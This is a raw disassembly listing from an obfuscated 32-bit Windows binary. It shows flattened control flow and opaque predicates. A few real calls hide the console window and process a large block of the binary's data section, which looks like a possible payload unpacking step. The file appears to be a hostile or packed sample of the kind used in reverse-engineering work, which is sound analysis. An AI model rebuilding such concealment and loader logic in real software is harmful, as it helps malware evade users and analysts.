mov eax, dword [ebp - 0x88]
mov ecx, dword [0x1006fe88]
mov eax, dword [0x1006fe84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdc0750d1
mov ecx, 0xd5eff7ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov dword [ebp - 0x150], 0x2088a28b
jmp 0x10010508
mov eax, dword [ebp - 0x10c]
mov eax, dword [0x1006fe88]
mov ecx, dword [0x1006fe84]
mov edx, eax
add edx, 0x9cc87d7b
sub edx, 1
sub edx, 0x9cc87d7b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x18fec635
mov ecx, 0x5370ca4c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov ecx, dword [0x1006fe88]
mov eax, dword [0x1006fe84]
mov edx, ecx
sub edx, 0x2e5a6588
sub edx, 1
add edx, 0x2e5a6588
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8757e2
mov ecx, 0x8496b4ad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
add ecx, 0xc40f1643
add ecx, 1
sub ecx, 0xc40f1643
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov ecx, dword [0x1006fe88]
mov eax, dword [0x1006fe84]
mov edx, ecx
add edx, 0x15c229a
sub edx, 1
sub edx, 0x15c229a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8757e2
mov ecx, 0xaacf2f2a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov dword [ebp - 0x150], 0x648d931
jmp 0x10010508
mov dword [ebp - 0x150], 0xbdb23462
jmp 0x10010508
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011f0
add esp, 4
lea eax, [0x1001c1d1]
sub esp, 4
mov dword [esp], eax
call fcn.100011f0
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4cc00
call fcn.10001010
add esp, 8
mov eax, dword [ebp - 0x148]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x144]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x150], 0x385f24c7
jmp 0x10010508
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x150], 0xf0fe3269
jmp 0x10010508
mov dword [ebp - 0x150], 0x6c6db52f
jmp 0x10010508
mov dword [ebp - 0x150], 0x38bb7913
jmp 0x10010508
mov dword [ebp - 0x150], 0x557f6eba
jmp 0x10010508
mov dword [ebp - 0x150], 0xbc701bf3
jmp 0x10010508
mov dword [ebp - 0x150], 0x8a61ea59
jmp 0x10010508
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x150], 0xabf716f8
jmp 0x10010508
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x148]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x150], 0xe8998de9
jmp 0x10010508
mov eax, dword [ebp - 0x124]
mov eax, dword [ebp - 0x140]
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x150], 0x7fc08332
jmp 0x10010508
mov eax, dword [ebp - 0x138]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x150], 0x3de3db03
jmp 0x100093cf